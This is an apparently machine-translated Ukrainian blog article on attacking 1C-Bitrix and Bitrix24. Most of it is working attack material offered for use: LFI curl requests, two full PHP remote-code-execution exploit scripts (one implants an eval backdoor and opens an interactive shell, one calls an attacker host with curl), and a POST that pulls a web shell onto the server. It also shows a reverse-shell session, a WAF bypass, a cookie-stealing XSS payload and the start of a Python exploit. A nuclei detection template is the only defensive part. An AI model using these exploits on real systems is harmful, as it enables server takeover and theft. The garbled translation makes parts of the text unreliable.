Bitrix під атакою: критичні вразливості, експлойти та контроль над системою (Частина 2)

01.12.2025 29 хвилин Автор: Cyber Witcher

У другій частині зібрано найбільш ризикові й практично значущі вразливості Bitrix. Розділ пояснює природу RCE-класу атак, показує типові місця появи критичних помилок та демонструє логіку розвитку експлойтів у реальних сценаріях. Матеріал охоплює аналіз відомих CVE, методи обходу захисних механізмів, ризики, пов’язані з Bitrix24, та слабкі модулі, які часто створюють додаткові точки входу.

ССРФ

Маршрут /bitrix/wizards/bitrix/demo/public_files/ru/personal/desktop.phpіноді ведеться до персонального робочого столу. У ньому можна додавати свої нотатки, посилання та ін.

  1. Розкриваємо віджет.

  2. Вставляємо потрібну адресу в «Посилання на RSS-стрічку».

  3. Натискаємо «ОК» та чекаємо відстуків на співавтора.

ЛФІ

Можем читати містяться внутрішні файли сервера, але, як правило, тільки в рамках директорії з установленим бітриксом. /бітрікс/*

/.htaccess/randombullchitgo/../..////////////////////////////bitrix//////////////////////////////virtual_file_system.php//////////////////////////////x/..
/.htaccess/randombullchitgo/../../../""""""""""""""""""""""""""""""/../bitrix/""""""""""""""""""""""""""""""/../virtual_file_system.php/""""""""""""""""""""""""""""""/../x/..

Посвідчення особи:

curl --path-as-is 'https://TARGET/.htaccess/«/../..////////////////////////////bitrix//////////////////////////////virtual_file_system.php//////////////////////////////»/%2E%2E'

або

curl -i -s -k -X $'GET' \
    -H $'Host: https://TARGET' -H $'User-Agent: huitrix/1.11.1' -H $'Accept: */*' \
    $'https://TARGET/.htaccess/%c2%ab/../..////////////////////////////bitrix//////////////////////////////virtual_file_system.php//////////////////////////////%c2%bb/%2E%2E'

РЦЕ

Опис вразливості

Уяву полягає в некоректній обробці даних користувача в запиті POST. Демоверсія «1С Бітрікс Управління сайтом» була взята з офіційного сайту. Версія на малюнку 1. Версія основного модуля – 21.400.100.

Опис атак.

  1. Отримати параметр sessid і cookie PHPSESSID. Це можна зробити через адміна. панель по адресу /bitrix/admin.

  2. Виповнити POST запит з малюнком нижче.

POST /bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTITY_ID][events][onFileIsStarted][]=CAllAgent&attachId[ENTITY_ID][events][onFileIsStarted][]=Update&attachId[MODULE_ID]=vote&action=vote HTTP/1.1
Host: <> 
Content-Length: 944 
Cache-Control: max-age=0 
Cookie: PHPSESSID=<>
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate 
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 
Connection: close

-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NAME]"
file_put_contents("<путь до корневой директории сервера>/shell.php", fopen("https://raw.githubusercontent.com/artyuum/simple-php-web-shell/master/index.php", "r"));
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NAME]";filename="image.jpg"
Content-Type: image/jpeg

123
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[packageIndex]"

pIndex101
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[mode]"

upload
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="sessid"

<>
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[filesCount]"

1
-----------------------------xxxxxxxxxxxx--
  1. Відкрийте список агентів і зафіксуйте корисну завантаження під ID 2

  1. Виконайте POST-запит, змінивши параметр NAME на параметр NEXT_EXEC і потрібну завантаження на дату та час, встановлені на сервері з операцією за одну хвилину

-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NEXT_EXEC]"

<Дата и время>
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_files[bitrix50][NEXT_EXEC]";filename="image.jpg" 
Content-Type: image/jpeg

123
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[packageIndex]"

pIndex101
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[mode]"

upload
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="sessid"

ee8dbbe0d21ce5fbb66ee1047c666f6c
-----------------------------xxxxxxxxxxxx
Content-Disposition: form-data; name="bxu_info[filesCount]"

1
-----------------------------xxxxxxxxxxxx--
  1. Закріпити файл shell.php для файлу в корневій директорії сервера

  1. Перейти за адресою /shell.php для підтвердження доступу до нього

Умови експлуатації:

  1. Існує хоча один агент на сервері.

  2. Відомі дані/час, встановлені на сервері, у тому числі та часовий пояс.

  3. Доступ до файлу uf.php

  4. Усі поля агента можливо змінити, що робить можливим його повну модифікацію для виконання атак

Експлуатація цієї вразливості призводить до виконання довільного коду PHP, з чого можливо побудувати подальший вектор атаки на сервер, ввести до виконання коду командної оболонки ОС, наприклад, через функцію system()

Уязвимість експлуатується за рахунок Arbitrary Object Instantiation з використанням публікації «Візвості та атаки на CMS Bitrix» за адресою https://t.me/webpwn . Із-за хешування значення першого аргументу в цій атаці немає можливості передати свій аргумент напряму в метод CControllerClient::RunCommand($command, $oRequest, $oResponse). Тому був обраний шлях експлуатації через агенти Бітрікс.

Агент – періодична задача, в якій указаний метод для виконання з інтервалом часу. За допомогою методу CAllAgent::Update($ID, $arFields)можна відновити існуючий запис про агента. Перший аргумент даного методу – ID у таблиці існуючих агентів з БД і він є цілим числом. Виникає проблема: переклад строки дайджесту MD5 в ціле число. Вона вирішена самим вихідним кодом Бітрікс

Дана операція робить абсолютно просту річ – переводить один тип даних в ціле число, в тому числі і строку. Функція intval() зі строковим типом даних переводить у число, записуючи перші десятеричні символи рядків у число, а зустрічаючий недесятиричний символ – перекриває запис у число.

Символ «e» інтерпретується як експонента, тому останній рядок переведено в число «100». Отже, якщо підібрати такий рядок, який MD5 хеш буде починатися з числа, то цей хеш буде переведено в число. Це число – ID у таблиці, який дозволить змінити параметри агента.

Запис про агента складається з наступних даних:

Назва методу, що викликається, знаходиться в полі NAME у форматі Class::Method($args). Активний метод має символ «Y» у полі ACTIVE. MODULE_ID – назва модуля, в якому знаходиться метод. Цікавий метод знаходиться в модулі main. Час наступного запуску – NEXT_EXEC у форматі«DD.MM.YYYY HH:MM:SS»

Тому потрібно виконати наступне:

  1. Підібрати потрібний хеш MD5, який матиме маленьке число на початку строки хеша. Наприклад, md5(‘bitrix50’) = ‘2cff0d1f456cf0ac11a6d49e5cce8f3b’, що даст число 2. Ці рядки можливо буде перебрати, так як не буде правильно угадан ідентифікаційний запис агента.

  2. Узнати дату і час, встановлені на сервері. Це можна зробити за допомогою phpinfo() або сам сервер у заголовках повідомляє їх.

  3. Змінити ІМ’Я на корисну нагрузку CControllerClient::RunCommand('','','');

  4. З допомогою запитів з PoC змінити дату, час, модуль і активність на необхідні.

  5. При досягненні встановленого часу – зайдіть на будь-яку сторінку, таким чином агент буде виконаний.

Експлуатувати

RCE експлойт на Бітрікс <= 21.400.100 Стандарт <= Бізнес | CRM (будь-який користувач)

php vote_agent.php https://target.com/
<?php
message('Bitrix Pre-Auth Remote Code Execution via Arbitrary Object Instantiation');
message('Affected versions: <= 21.400.100 [ Standart <= Business | CRM (any user) ]');
(!isset($argv[1]) ? exit(message('php '.basename(__FILE__).' https://target-bitrix.com')) : @list($x, $url, $id) = $argv);
message('Target: '.$url);

# get phpsess + csrf
if(!preg_match('#(PHPSESSID=.+;).+\'bitrix_sessid\':\'(.+)\'#Uis', request($url.'/bitrix/tools/composite_data.php'), $matches)) exit(message('composite_data problems')); else message($matches[1].', sessid='.$matches[2]);

# update the agent
$body = implode("\r\n", [
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_files['.index($id).'][]"',
    '',
    '1',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_files['.index($id).'][default]"; filename="image.jpg"',
    'Content-Type: image/jpeg',
    '',
    str_repeat(' ', 1234),
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_files['.index($id).'][IS_PERIOD]"',
    '',
    'Y',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_files['.index($id).'][RETRY_COUNT]"',
    '',
    '0',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_files['.index($id).'][AGENT_INTERVAL]"',
    '',
    '0',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_files['.index($id).'][MODULE_ID]"',
    '',
    'main',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_files['.index($id).'][ACTIVE]"',
    '',
    'Y',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_files['.index($id).'][NAME]"',
    '',
    furl(agent($id)),
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_info[packageIndex]"',
    '',
    'pIndex101',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_info[mode]"',
    '',
    'upload',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="sessid"',
    '',
    $matches[2],
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_info[filesCount]"',
    '',
    '1',
    '-----------------------------xxxxxxxxxxxx--'
]);

if(!strpos(request($url.'/bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTITY_ID][events][onFileIsStarted][]=CAllAgent&attachId[ENTITY_ID][events][onFileIsStarted][]=Update&attachId[MODULE_ID]=vote&action=vote', $matches[1], $body, 'Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx'), '$arAgent')) exit(message('Fail. Agent update problems.'));

message('Injected PHP code: '.PHP_EOL.payload());
message('Sleeping 60 seconds for the agent activation.'); xsleep(60);
message('Now you can use the "bitrixxx" request param or use this console.');
message('Then done, type "EXIT" to restore the agent.');

do {
    $code = trim(readline('php > '));
    readline_add_history($code);
    
    if($code != 'EXIT')
        message(substr(strstr(request($url.'/', $matches[1], 'bitrixxx='.furl(furl('print "~~~";'.$code))), '~~~'), 3));
    else
        break;
        
} while(1);

# restore the agent
request($url, $matches[1], 'restorexxx=1');
message('Agent restored.');
message('Bye.');


function request($url, $cookie = '', $post = '', $header = []){
    $header = array_merge([($cookie ? 'Cookie: '.$cookie : '')], (is_string($header) ? [$header] : $header));

    $body = @file_get_contents($url, false, stream_context_create(
                                ['ssl' => [
                                    'verify_peer' => false,
                                    'verify_peer_name' => false,
                                ],
                                'http' =>
                                [	'timeout' => 10,
                                    'method' => ($post ? 'POST' : 'GET'),
                                    'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',
                                    'header' => implode("\r\n", $header),
                                    'content' => ($post ? $post : '')
                                ]
                             ])
           );
           
    $header = implode(PHP_EOL, $http_response_header);
     
    return $header.PHP_EOL.PHP_EOL.$body;
}

function agent($id = 1){
    return '$arAgent["NAME"];'.t('eval(urldecode(strrev(\''.strrev(furl('
    '.payload().'
    return true;')).'\')));');
}

function payload(){
    return '
    if(isset($_REQUEST["bitrixxx"])){
        $DB->Query("UPDATE b_agent SET DATE_CHECK = NULL, RETRY_COUNT = 0, RUNNING = \'N\' WHERE ID = 1");
        
        try{
            $e = eval(urldecode(urldecode($_REQUEST["bitrixxx"])));
        }
        catch (Exception $e){
            exit;
        }
    }
    else{
        $r = \'\\\\Bitrix\\\\Main\\\\Analytics\\\\CounterDataTable::submitData();\';
        if(isset($_REQUEST["restorexxx"])){
            $DB->Query("UPDATE b_agent SET AGENT_INTERVAL = 60, IS_PERIOD = \'N\' WHERE ID = 1");
            $eval_result = $r;
        }
        else
            eval($r);
    }';
}

function index($id){
    return 'dd';
}

function furl($str){
    return '%'.implode('%', str_split(bin2hex($str), 2));
}

function j(){
    $l = rand(10, 50);
    while(!isset($c[$l])) @$c .= chr(rand(32, 126));
    
    if(rand(0, 1))
        return (rand(0, 1) ? "#".chr(rand(32, 90)) : "//").str_replace("?>", "", $c).(rand(0, 1) ? "\r" : "\n");
    else
        return (rand(0, 1) ? "/*".str_replace("*/","", $c)."*/" : (rand(0, 1) ? "\t".j() : " ".j()));
}

function xsleep($t){
     $s = 0;
     
     do{
        print '-';
        sleep(1);
        $s++;
    } while($s < $t);
    
    print PHP_EOL;
}
function t($s){
    foreach(token_get_all('<?php '.$s) as $t)
        @$r .= (is_array($t) ? $t[1] : $t).j();
    return j().substr($r, 5);
}

function message($str){
    print PHP_EOL.'### '.$str.' ###'.PHP_EOL.PHP_EOL;
}

RCE html_editor_action.php

RCE експлойт на Бітрікс <= 20.100.0

php html_editor_action.php "https://target-bitrix.com" "system" "curl http://attacker-host.com/"
<?php
# <= 20.100.0 [ Start <= Business | CRM (any user) ]

(!isset($argv[3]) ? exit(message('php '.basename(__FILE__).' "https://target-bitrix.com" "system" "curl http://attacker.com/"')) : @list($x, $url, $func, $farg) = $argv);

# get phpsess + csrf
if(!preg_match('#(PHPSESSID=.+;).+\'bitrix_sessid\':\'(.+)\'#Uis', request($url.'/bitrix/tools/composite_data.php'), $matches)) exit(message('composite_data problems')); else message($matches[1].', sessid='.$matches[2]);

# upload default
$body = implode("\r\n", [
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_files[.][files][code]"',
    '',
    'default',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_files[.][default]"; filename="image.jpg"',
    'Content-Type: image/jpeg',
    '',
    payload($func, $farg),
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_info[CID]"',
    '',
    '1',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_info[packageIndex]"',
    '',
    'pIndex101',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_info[mode]"',
    '',
    'upload',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="action"',
    '',
    'uploadfile',
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="sessid"',
    '',
    $matches[2],
    '-----------------------------xxxxxxxxxxxx',
    'Content-Disposition: form-data; name="bxu_info[filesCount]"',
    '',
    '1',
    '-----------------------------xxxxxxxxxxxx--'
]);

request($url.'/bitrix/tools/html_editor_action.php', $matches[1], $body, 'Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx');

# exec default
message(request($url.'/bitrix/tools/html_editor_action.php', $matches[1], 'bxu_info[packageIndex]=pIndex101&action=uploadfile&bxu_info[mode]=upload&sessid='.$matches[2].'&bxu_info[filesCount]=1&bxu_info[CID]=default%00'));


function request($url, $cookie = '', $post = '', $header = []){
    $header = array_merge([($cookie ? 'Cookie: '.$cookie : '')], (is_string($header) ? [$header] : $header));

    $body = @file_get_contents($url, false, stream_context_create(
                                ['ssl' => [
                                            'verify_peer' => false,
                                            'verify_peer_name' => false,
                                ],
                                'http' =>
                                ['method' => ($post ? 'POST' : 'GET'),
                                'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',
                                'header' => implode("\r\n", $header),
                                'content' => ($post ? $post : '')
                                ]
                             ])
           );
           
    $header = implode(PHP_EOL, $http_response_header);
     
    return $header.PHP_EOL.PHP_EOL.$body;
}

function payload($func, $farg){
    
    return 'O:27:"Bitrix\Main\ORM\Data\Result":3:{S:12:"\00*\00isSuccess";b:0;S:20:"\00*\00wereErrorsChecked";b:0;S:9:"\00*\00errors";O:27:"Bitrix\Main\Type\Dictionary":1:{S:9:"\00*\00values";a:1:{i:0;O:17:"Bitrix\Main\Error":1:{S:10:"\00*\00message";O:36:"Bitrix\Main\UI\Viewer\ItemAttributes":1:{S:13:"\00*\00attributes";O:29:"Bitrix\Main\DB\ResultIterator":3:{S:38:"\00Bitrix\5CMain\5CDB\5CResultIterator\00counter";i:0;S:42:"\00Bitrix\5CMain\5CDB\5CResultIterator\00currentData";i:0;S:37:"\00Bitrix\5CMain\5CDB\5CResultIterator\00result";O:26:"Bitrix\Main\DB\ArrayResult":2:{S:11:"\00*\00resource";a:1:{i:0;a:2:{i:0;S:'.strlen($farg).':"\\'.implode('\\', str_split(bin2hex($farg), 2)).'";i:1;s:1:"x";}}S:13:"\00*\00converters";a:2:{i:0;S:'.strlen($func).':"\\'.implode('\\', str_split(bin2hex($func), 2)).'";i:1;s:17:"WriteFinalMessage";}}}}}}}}';

}

function message($str){
    print PHP_EOL.'### '.$str.' ###'.PHP_EOL.PHP_EOL;
}
?>

Посадка RCE

Вразливість посадки модуля системи управління вмістом сайтів (CMS) 1С-Бітрікс: Управління сайтом викликано помилками синхронізації при використанні загального ресурсу. Експлуатація вразливості може дозволити порушнику, діючому видаленню, виконати команди ОС на вразливому вузлі, отримати контроль над ресурсами та проникнути у внутрішній сіті.

Також можна перевірити сайт на наявність уразливості цим шаблоном ядер.

id: bitrix-landing-rce

info:
  name: Bitrix Landing module RCE version based detection
  author: JhonnyBonny
  severity: Critical
  description: A vulnerability in the landing module of the 1C-Bitrix Site Management content management system (CMS) is caused by synchronization errors when using a shared resource. Exploitation of the vulnerability can allow a remote attacker to execute OS commands on the vulnerable host, gain control over resources or gain access to internal network.
  reference:
    - https://bdu.fstec.ru/vul/2023-05857
    - https://www.bitrix24.com/features/box/box-versions.php?module=landing
  tags: bitrix,rce
  metadata:
    max-request: 3

http:
  - method: GET
    path:
      - "{{BaseURL}}/bitrix/components/bitrix/landing.sites/templates/.default/style.css"
      - "{{BaseURL}}/components/bitrix/landing.sites/templates/.default/style.css"
      - "{{BaseURL}}/bx/components/bitrix/landing.sites/templates/.default/style.css"
    host-redirects: true
    stop-at-first-match: true
    max-redirects: 3
    matchers-condition: or
    matchers:
      
      - type: dsl
        name: "landing (23.700.100) June 14, 2023"
        dsl:
          - "status_code==200 && (\"add1ed2596798ec254ba13abff931547\" == md5(body))"

      - type: dsl
        name: "landing (22.200.0) August 8, 2022"
        dsl:
          - "status_code==200 && (\"9fbebe45f8d33fa108dfb947d0fb4656\" == md5(body))"

      - type: dsl
        name: "landing (22.100.0) July 5, 2022"
        dsl:
          - "status_code==200 && (\"b319495dd5f16817406386b5dc63c146\" == md5(body))"

      - type: dsl
        name: "landing (22.0.0) April 18, 2022"
        dsl:
          - "status_code==200 && (\"e64a234d4771590d79e1809f66fc7043\" == md5(body))"

      - type: dsl
        name: "landing (21.900.0) November 12, 2021"
        dsl:
          - "status_code==200 && (\"c49de48decdf1fd2acaf7853925183be\" == md5(body))"

      - type: dsl
        name: "landing (21.700.0) September 7, 2021"
        dsl:
          - "status_code==200 && (\"0c4c0547c37ad53cbb1eda4ddbf15e33\" == md5(body))"

      - type: dsl
        name: "landing (21.500.0) July 16, 2021"
        dsl:
          - "status_code==200 && (\"c2adce7a16e8572f9a5728288a2fac81\" == md5(body))"

      - type: dsl
        name: "landing (21.200.0) April 21, 2021"
        dsl:
          - "status_code==200 && (\"a871c4967c7c937597890d7b5c3d960a\" == md5(body))"

      - type: dsl
        name: "landing (20.4.500) September 15, 2020"
        dsl:
          - "status_code==200 && (\"9dc7150c6bd61d298d147b7ea67e8a8b\" == md5(body))"

      - type: dsl
        name: "landing (20.4.0) July 10, 2020"
        dsl:
          - "status_code==200 && (\"b3ec699b40523a8412a0d56ed76f43bc\" == md5(body))"

      - type: dsl
        name: "landing (20.2.100) February 27, 2020"
        dsl:
          - "status_code==200 && (\"c8c32f0232ac2a4bb46856f12a6a4b09\" == md5(body))"

      - type: dsl
        name: "landing (20.2.0) January 20, 2020"
        dsl:
          - "status_code==200 && (\"5a530921bbc5d6923d20b75c4ba99b4d\" == md5(body))"

      - type: dsl
        name: "landing (20.0.0) November 26, 2019"
        dsl:
          - "status_code==200 && (\"ef14e227a8f17a3c1a76ce4290dcd9c6\" == md5(body))"

      - type: dsl
        name: "landing (19.0.200) August 22, 2019"
        dsl:
          - "status_code==200 && (\"0fa4366725041880aca1a79d451806f4\" == md5(body))"

      - type: dsl
        name: "landing (19.0.0) August 2, 2019"
        dsl:
          - "status_code==200 && (\"dfa4536c8b721d8c67065a9fd60c05ed\" == md5(body))"

      - type: dsl
        name: "landing (18.5.8) October 18, 2018"
        dsl:
          - "status_code==200 && (\"8f20968cc2e35bedf95777bcc6c39987\" == md5(body))"

CVE-2022-29268 (Відхилено)

Хоть цей CVE на самому елементі не CVE, т. к. має статус Відхилено, все рівно вирішили його додати, тому що це все ще зустрічається на сайті:

https://en.fofa.info/result?qbase64=Vk1CaXRyaXg%3D

«1С-Бітрікс: Віртуальна машина» — віртуальний сервер, налаштований для швидкого виконання програмних продуктів «1С-Бітрікс». Уязвимость дозволяє внести шкідливий PHP-скрипт в корневу директорію веб-сайту через форму «Завантаження резервної копії» на веб-сторінці початкових налаштувань CMS «1С-Бітрікс».

  1. На веб-сторінці початкових налаштувань CMS «1С-Бітрікс» необхідно перейти за посиланням «Восстановить копію»:

  1. Внедрення тестового шкідливого PHP-скрипту (веб-шелл) через розділ «Завантаження з локального диска» на веб-сторінці «Завантаження резервної копії». Завантаження була завершена з помилкою.

  1. Перевірка успішного впровадження вредоносного PHP-скрипту:

Таким чином, корисний PHP-скрипт був успішно впроваджений в корневу директорію веб-сайту.

Експлойт

# Exploit Title: Unauthenticated Remote Code Execution in Bitrix v7.5.0 and earlier versions
# Remote Code Execution in Bitrix v7.5.0 and earlier versions allows remote attackers to execute arbitrary code via uploading a php web shell. Bitrix v7.5.0 and earlier allows any user to execute arbitrary code by uploading an executable file at the time of restoring from the backup without any prior authentication required.
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) #HTB profile: https://www.hackthebox.com/home/users/profile/2718
# Date: 15th April'22
# CVE ID: 
# Confirmed on release 7.5.0
# Vendor: https://www.bitrix24.com/self-hosted/installation.php

###############################################
#Step1- http://192.168.56.140/restore.php?lang=en
#Step2- Click on Continue=>Upload from local disk=>Upload the shell.php=>Skip the errors=>Click on BACK
#Step3- Now the shell.php has been uploaded on the server so execute the shell Goto http://192.168.56.140/shell.php

Visit http://IP_ADDR/shell.php and get the reverse shell:

listening on [any] 4477 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.140] 48220
Linux localhost.localdomain 3.10.0-1160.21.1.el7.x86_64 #1 SMP Tue Mar 16 18:28:22 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 06:37:57 up  1:32,  1 user,  load average: 0.00, 0.05, 0.37
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1                      06:29   45.00s  0.11s  0.11s -bash
uid=600(bitrix) gid=600(bitrix) groups=600(bitrix),10(wheel)
sh: no job control in this shell
sh-4.2$ whoami
whoami
bitrix
sh-4.2$ id
id
uid=600(bitrix) gid=600(bitrix) groups=600(bitrix),10(wheel)
sh-4.2$ hostname
hostname
localhost.localdomain
sh-4.2$

БДУ:2024-01501

Іноді на хостах може потрапити скрипт bitrixsetup.php . Його звичайно настійно рекомендують видалити після установки.

Відбитий XSS

Якщо в параметрі ім’я файлу помістити довільну строку, щоб виявити, що помилка відображається на сторінці без будь-якого екранування, що дозволяє нам використовувати XSS вразливість:

/bitrixsetup.php?action=UNPACK&by_step=Y&filename=en_bitrix24_encode.tar.gz&lang=en&xz=19279

Після чтення коду можна переконатися, що вхід користувача не обробляється, а $_REQUEST["filename"]передається об’єкт $oArchiver, відповідальний для розархівування цього файлу. Незважаючи на наявність архіватора, закрадується думка про наявність LFR.

Читання локального файлу

Даний LFR, на жаль, можна прочитати тільки перші 10 рядків файлу. Але для чтения умовного /bitrix/php_interface/dbconn.phpцього цілком достатньо.

/bitrixsetup.php?action=UNPACK&filename=../../../../etc/passwd

У силу того, що частина файлу за вказаним шляхом обчислюється скриптом як заголовок архіву, ми можемо прочитати його в повідомленні про помилку. Крім того, виявилося, що за допомогою параметра пошуку можна посимвольно зрушити строку читаного файлу:

Обхід WAF

Буває, що при проведенні XSS отражённого типу параметри потрапляють прямо в тело цього скрипта . Зазвичай це означає, що експлуатація тривіальна: не помішує кодування скобок, не помішує багато фаєрволів, в тому числі не порушив Chrome XSS Auditor. Але в CMS Bitrix у цьому випадку є вбудований проактивний фільтр (WAF), принцип роботи якого захищений від XSS, аналогічний XSS Auditor.

При фаззинге сервісу Mail.ru в рамках Bug Bounty зібрався з такою точкою входу, параметр GET потрапив у тело тега <script>…</script>. Але зробити простий PoC не вдалося, оскільки додаток було побудовано з використанням Bitrix, і був активований модуль WAF.

Любі спроби вставити який-небудь цікавий код заканчивались заміненою всього скрипта на заглушку  _<!— deleted by Bitrix WAF —>_.

Оказалось, що для нейтралізації цього захисту достатньо передати в уразливий параметр  null byte (%00).

Для демонстрації розгортаємо тестове додаток на CMS Bitrix з активованим модулем WAF і додаємо наступний код на одну зі сторінок (/waf-bypass.php):

Якщо в уразливий параметр  сторінки  передати кавычку (закриваючу строку) і викликати  сповіщення  (як і будь-яку іншу функцію), то WAF вирізає весь скрипт:

У ході фаззинга з’ясувалося, що об’єднати захист дуже просто — до закриваючої кавички вводимо нульовий байт ( %00 ) і код WAF вже пропускається:

Ітого, отримуємо повноцінний вектор експлуатації

Ошибка міститься в модулі постфільтрації для захисту від XSS. Модуль працює аналогічно XSS Auditor і намагається знайти в тілі сторінки теги скрипта з активним вмістом, який було передано в параметрах користувача.

При цьому по якій-то причині з параметрів параметрів вирізається нулевий байт, так що в нашому випадку при зрівнянні сторінки тіла з параметрами не буде виявлено вхідних (ведь в теле є \x00, а в параметрах немає).

Уявна строка у файлі  ./bitrix/modules/security/classes/general.post_filter.phpабо post_filter.php, де в методі  addVariable відбувається вирізання нулевого байту  chr(0):

Сам пошук користувальницьких даних у телескрипті відбувається у функціях  isDangerBody, і тут у функціоналі  findInArray передаються параметри нетронутого значення $bodyта масиву, з якого вирізано нулевий байт:

Згадайте, що WAF майже завжди піддаються обходу.

Конкретно в цьому випадку для виправлення помилок у самому WAF можна вибрати виклик str_replace із функцій addVariable. При цьому в кожному випадку варто додати перевірку на наявність нульового байта в вмісті (не зря розробники Bitrix, коли додали виклик цього str_replace).

ЛПЕ

sudo /opt/webdir/bin/wrapper_ansible_conf

sudo /opt/webdir/bin/wrapper_ansible_conf -a bx_passwd --user admin --ho

 

Детальніше тут

Бітрікс24

XSS Бітрікс 24

/bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php?log_cnt=%3Cimg%20onerror%E2%80%A9=alert(document.cookie)%20src=1%3E

CVE-2022-43959

Недостатньо захищені облікові дані в налаштуваннях AD/LDAP-сервера в модулі AD/LDAP-конектора «1С-Бітрікс Бітрікс24» до версії 23.100.0 дозволено видаленим адміністраторам дізнатися адміністративний пароль AD/LDAP, прочитавши вихідний код файлу /bitrix/admin/ldap_server_edit.php.

Шаги експлуатації:

  1. Получіть доступ до адміністративної панелі Бітрікс24.

  2. Перейдіть до пункту «Налаштування AD/LDAP» у розділі «Адміністрування».

  3. Введіть налаштування AD/LDAP-сервера зі списку серверів.

  4. Перейдіть на вкладку Сервер.

  5. Переконайтеся, що пароль користувача з правами на чтенні дерева серверів AD/LDAP замаскований у рядку «Пароль».

  1. За допомогою інструментів розробника браузера відкрийте вихідний код сторінки bitrix/admin/ldap_server_edit.php.

  2. Переконайтеся, що пароль користувача з правами на чтення дерева AD/LDAP-сервера відображається у вихідному коді відкритим текстом

https://github.com/secware-ru/CVE-2022-43959CVE-2022-43959.pdf

CVE-2023-1713

# Bitrix24 Insecure Tempory File creation RCE (CVE-2023-1713)
# Via: https://TARGET_HOST/bitrix/services/main/ajax.php?mode=class&c=bitrix%3acrm.order.import.instagram.view&action=importAjax
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import requests
import re
import os
import typing
import time
import itertools
import string
import subprocess

import http.server
from http.server import HTTPServer
from socketserver import ThreadingMixIn
import threading
from urllib.parse import urlparse

HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "user"
PASSWORD = "abcdef"

LPORT1 = 8001
LPORT2 = 9001
LHOST = "192.168.86.43"
DELAY_SECONDS = 60
N_REPS = 1000


PROXY = None

def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
    out = dict()
    if type(val) is dict:
        for k, v in val.items():
            child = nested_to_urlencoded(v, prefix=f"[{k}]")
            for key, val in child.items():
                out[prefix + key] = val
    elif type(val) in [list, tuple]:
        for i, item in enumerate(val):
            child = nested_to_urlencoded(item, prefix=f"[{i}]")
            for key, val in child.items():
                out[prefix + key] = val
    else:
        out[prefix] = val
    return out


def check_creds(cookie, sessid):
    return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
        "X-Bitrix-Csrf-Token": sessid
    }, cookies={
        "PHPSESSID": cookie,
    }, proxies=PROXY).text == "OK"


def login(session, username, password):
    if os.path.isfile("./cached-creds.txt"):
        cookie, sessid = open("./cached-creds.txt").read().split(":")
        if check_creds(cookie, sessid):
            session.cookies.set("PHPSESSID", cookie)
            print("[+] Using cached credentials")
            return sessid
        else:
            print("[!] Cached credentials are invalid")
    session.get(HOST + "/")
    resp = session.post(
        HOST + "/?login=yes",
        data={
            "AUTH_FORM": "Y",
            "TYPE": "AUTH",
            "backurl": "/",
            "USER_LOGIN": username,
            "USER_PASSWORD": password,
        },
    )
